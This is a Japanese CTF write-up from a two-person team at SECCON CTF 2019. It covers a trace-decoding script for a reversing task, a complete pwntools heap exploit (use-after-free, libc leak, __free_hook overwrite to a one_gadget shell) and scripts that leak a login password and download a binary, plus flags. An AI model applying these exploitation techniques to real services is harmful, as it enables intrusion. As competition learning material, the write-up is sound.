1: イントロ
いつぞや行われたSECCON CTF 2019にnewbie2人チームsmallkirby(@python_kirby / @mivjdu)で一応参加した
結果はボロボロだったが教訓として
・変に意気込んじゃだめ。普通に寝たほうがいい
・まずは問題を全体的に簡単に見ていったほうがいい
・機械音痴のアナログ人間のため手動で頑張ろうとするが、自動化できるところは全部自動化するべき。特にrevのcalcで何故か最初手動で頑張ってしまった
・相談できる人がいたほうがいい。メチャメチャ簡単な問題でも自分の中での勝手な思い込みで詰まってしまうことがあるから、そんなときワイワイできる相手がいるといい。今回は寝たら解決したが
・not strippedな問題が多くてこの業界に良い人もいるんだと思った
・精進が圧倒的に足りない
ということを再認識した
いまめちゃくちゃ眠いため簡単な覚書だけ書き連ねておいて後で清書する
2: Welcome / Thank you for playing
無料でフラグをくれる運営に感謝の気持を忘れないようにここで3時間位祈祷するのがCTFerの嗜み
"どんなnewbieチームでも0点では帰らせない"という慈悲の心
自分もnewbieながら先例に倣い、5時間半感謝の祈祷をした
3: calc
逆ポーランド記法で整数計算を行うプログラムcalcと
それをある入力式で実行した際のIntelPinでのトレース結果が渡されて、入力式を復元する問題
以前Malware解析をしようとしたときにPinは使ったことがあったから環境準備は割とスムーズにいった
Ghidraのベースアドレスをトレースの情報をもとにセットして
各branchが何を表すのかをデコンパイルコードと見比べてメモをする
0x55f6b4d44db4: 2 "M"チェック!! 0x55f6b4d446a5: 1 (終了処理 いらない) 0x55f6b4d44c13: 18 (push_stackしたあとl40_ptrをインクリメントするとこへ飛ぶ) 0x55f6b4d44f64: 1 (開始処理 いらない) 0x55f6b4d44d54: 1 (*フラグ立てた後) 0x55f6b4d445de: 1 (開始処理 いらない) 0x55f6b4d44ca6: 2 (+フラグ立てた後) 0x55f6b4d44cfd: 5 (-フラグ立てた後) 0x55f6b4d44a0b: 3 sum()でwhileに入る!! 0x55f6b4d44727: 1 (終了処理 いらない) 0x55f6b4d44be9: 90 ","かどうかで分岐!!!!! 0x55f6b4d44e02: 2 "M"のあと 0x55f6b4d44765: 1 (開始処理 いらない) 0x55f6b4d4493e: 35 push_stackの最初のfullチェック!!! 0x55f6b4d44d06: 10 "*"分岐!!!! 0x55f6b4d44c22: 64 "9"より大きいかチェック!!! 0x55f6b4d44caf: 15 "-"分岐!!! 0x55f6b4d446f6: 1 (開始処理) 0x55f6b4d44e87: 91 NULLチェック!!! 0x55f6b4d44a1f: 20 sum()の中でのwhile endチェック!!! 0x55f6b4d44eae: 1 (mainの引数チェック) 0x55f6b4d44c1c: 72 "1"より大きいかチェック!! 0x55f6b4d44dab: 7 "m"のあと 0x55f6b4d44a5b: 1 kakeru()のwhileチェック 0x55f6b4d44d5d: 9 "m"分岐!!! 0x55f6b4d44735: 1 (終了処理) 0x55f6b4d44650: 1 (終了処理) 0x55f6b4d44bd6: 1 (main最初の処理) 0x55f6b4d44c4f: 55 数字だったからなんの処理も行わなかったジャンプ 0x55f6b4d44bef: 18 l2c_numflagチェック 0x55f6b4d44c58: 17 "+"分岐 0x55f6b4d44a81: 2 kakeru()のwhile終了ループ 0x55f6b4d44f44: 1 (開始処理) 0x55f6b4d448dc: 35 pop_stack()の最初のチェック!!
そのメモをもとにトレース結果を読み込んで入力値を出力してくれるスクリプトを(@mivjduが)書いた
import sys import json with open(sys.argv[1]) as f: trace = json.load(f) stack = [] num_flag = False for t in trace: if t["event"] != "branch": continue inst_addr = t["inst_addr"] branch_taken = t["branch_taken"] if inst_addr == "0x55f6b4d44d06": #* if not branch_taken: stack.append("*") if inst_addr == "0x55f6b4d44be9": #, if not branch_taken: stack.append(",") if inst_addr == "0x55f6b4d44caf": #- if not branch_taken: stack.append("-") if inst_addr == "0x55f6b4d44c58": #+ if not branch_taken: stack.append("+") if inst_addr == "0x55f6b4d44d5d": #m if not branch_taken: stack.append("m") if inst_addr == "0x55f6b4d44db4": #M if not branch_taken: stack.append("M") if inst_addr == "0x55f6b4d44c1c": # x<1 if not branch_taken: num_flag = True if inst_addr == "0x55f6b4d44c22": # x>9 if num_flag == False: print("ERROR!") if not branch_taken: stack.append("1") num_flag = False else: num_flag = False print("result:") print("".join(stack))
できあがった出力を再びPinに入れてトレース情報のdiffをとり
細かい部分を修正した
しかし和をとるときのwhileループの回数制御のために数値を調整する工程を何故か自動化せずに全部手動でやってしまったため異様な時間が経過してしまった
入力式は
999,100,511,111,111,1111,111,mm-mM-111,111,111,mm-119,911,130,913,300,-+-M+001,001,001,mm*
それを提出して得られるフラグは
SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}
3: One
メモを追加・表示・削除できるプログラムとlibcが渡される
但し一度に保持できるheapアドレスは一つのみ
UAF/double freeし放題
libcbaseさえ求まればなんとでもなる
小さいchunkを10個+α繋げて一つの大きなfake chunkを作り
それをfreeすることでunsortedbinを作ってheap上にmain_arena+96のアドレスを出現させる
あとはそれをleakして__free_hook overwriteで終わり
calcの手仕事で疲弊していた上に深夜帯ということもありこんな簡単な問題に時間をかけてしまった。。。
exploitは以下の通り
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./one" rhp1 = {"host":"one.chal.seccon.jp","port":18357} rhp2 = {'host':"localhost",'port':12300} context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF("./libc-2.27.so") diff_arena_printf = 0x386dc0 onegadgets = [0x4f2c5,0x4f322,0x10a38c] def add(conn,content): if(len(content)>=0x40): print("[!]too large content") return conn.recvuntil("> ") conn.sendline("1") conn.recvuntil("> ") conn.sendline(content) def delete(conn): conn.recvuntil("> ") conn.sendline("3") def show(conn): conn.recvuntil("> ") conn.sendline("2") def exploit(conn): # small_chunks = 0x10 size = 0x40+ 0x50*small_chunks- 0x10 #最後の0x10byteは次のchunkのヘッダをごまかすため add(conn,p64(0)+p64((size+0x10)|0x1) + p64(0)*2) #large fake chunk size for i in range(small_chunks): add(conn,"A"*0x30 + p64(size|0x1) + p64(0x61)[:-2]) add(conn,"B"*0x30) delete(conn) delete(conn) delete(conn) #leak heap addr show(conn) data = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8]) large_chunk_usr = data - 0x50*(small_chunks+1) + 0x10 print("[+]data: "+hex(data)) print("[+]large chunk usr: "+hex(large_chunk_usr)) #make point to large chunk add(conn,p64(large_chunk_usr)+p64(0)*2) add(conn,p64(0)*2) add(conn,p64(0)*2) #large fake chunk #create unsortedbin delete(conn) #leak libc_base show(conn) mainarena = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8]) - 96 print("[!]main_arena: "+hex(mainarena)) libc_base = mainarena-diff_arena_printf-libc.functions["printf"].address print("[!]libc_base: "+hex(libc_base)) #overwrite __malloc_hook add(conn,"D"*0x20) delete(conn) delete(conn) delete(conn) #show(conn) #data = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8]) #print("[+]data: "+hex(data)) add(conn,p64(libc_base + libc.symbols["__free_hook"])+p64(0)) add(conn,p64(0)*2) add(conn,p64(libc_base + onegadgets[1])) #get the shell conn.recvuntil("> ") conn.sendline("3") return if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
それによって得られるフラグは
SECCON{4r3_y0u_u53d_70_7c4ch3?}
4: lazy
最初はブロガーのURLだけ渡されている
まずログインするためにusername/PWが必要だがusernameは日記の中に書いてある
PWは以下のスクリプトでleakする
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./lazy" rhp1 = {"host":"lazy.chal.seccon.jp","port":33333} rhp2 = {'host':"localhost",'port':12300} context(os='linux',arch='amd64') #binf = ELF(FILENAME) def login(conn,user,pw): conn.recvuntil("3: Exit\n") conn.sendline("2") conn.recvuntil("username : ") conn.sendline(user) #need newline #conn.recvuntil("password : ") #conn.sendline(pw) username = "_H4CK3R_" pw = "3XPL01717" counter = 0 def exploit(conn): global counter if counter>=100: return login(conn,""+"A"*counter,"pw") conn.recvuntil("\n") print(conn.recvline()) counter += 1 conn = remote(rhp1["host"],rhp1["port"]) exploit(conn) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
usernameは"_H4CK3R_",PWは"3XPL01717"
そうするとプライベートディレクトリを見れるようになりlibc.soとプログラム本体が入ってることを確認
ただしこのディレクトリ内で"."は使えない
以下のプログラムでバイナリをゲット
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys import struct FILENAME = "./lazy" rhp1 = {"host":"lazy.chal.seccon.jp","port":33333} rhp2 = {'host':"localhost",'port':12300} context(os='linux',arch='amd64') #binf = ELF(FILENAME) def login(conn,user,pw): conn.recvuntil("3: Exit\n") conn.sendline("2") conn.recvuntil("username : ") conn.sendline(user) #need newline conn.recvuntil("password : ") conn.sendline(pw) username = "_H4CK3R_" pw = "3XPL01717" counter = 0 def exploit(conn): login(conn,username,pw) conn.recvuntil("4: Manage\n") conn.sendline("4") conn.recvuntil("Input file name\n") conn.sendline("lazy") conn.recvuntil("bytes") binary = conn.recvrepeat() out = open("./lazy","w") out.write(binary) out.close() #login(conn,username,"A"*50) #login(conn,"A"*(100-5-0x10),"pw") #conn.recvuntil("A\n") #data = unpack(conn.recvline()[:-1].ljust(8,"\x00")) #print("[+]"+hex(data)) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
あとはバイナリを解析する
5: sum
5つの数字を入力して和を出力する
けど6つ入力できる
6つ目を書き換えたいアドレスにするとwrite-what-where
けどこの問題は和をメモリに書き込む際に一度0クリアしてから書き込むため、libcbaseのleakができなくて解けなかった
考えたのは
・まず6つ入力するとexitされるからexitをmainのアドレスに書き換え
・次にprintfのlibc addrを使いたいからGOTを更新するためにputsのGOTをprintfのplt+6に書き換え
・このままだとputする度にprintfのGOTが更新されるから、printfのGOTが更新されたらputsのGOTをscanfのGOTに書き換え
・printfとonagadget RCEのアドレス差をもとにしてprintfのGOTの下数nibbleだけ書き換えてonegadgetを呼び出す
だがprintf/onegadgetのdiffが5nibble分あり、libcbaseの下3nibbleはゼロだから0xffff通りとbrute-fourceしていいギリギリっぽかったためびびってしなかった。diffが4nibbleなら0xff回でいけたから迷わなかっただろうが。
多分もっといい解き方あるだろうし
solve数的にそんな難しくない気がするんだけどなぁ。。。。
【追記 20191020】
ROPをするらしい(libcじゃなくてsum本体の使うのか?)
これも含めた他のpwnの問題のwriteupも後日また解き直してアップする
6: アウトロ
眠い
全然解けなかった。。。。
普通にド凹み中です
精進します
続く・・・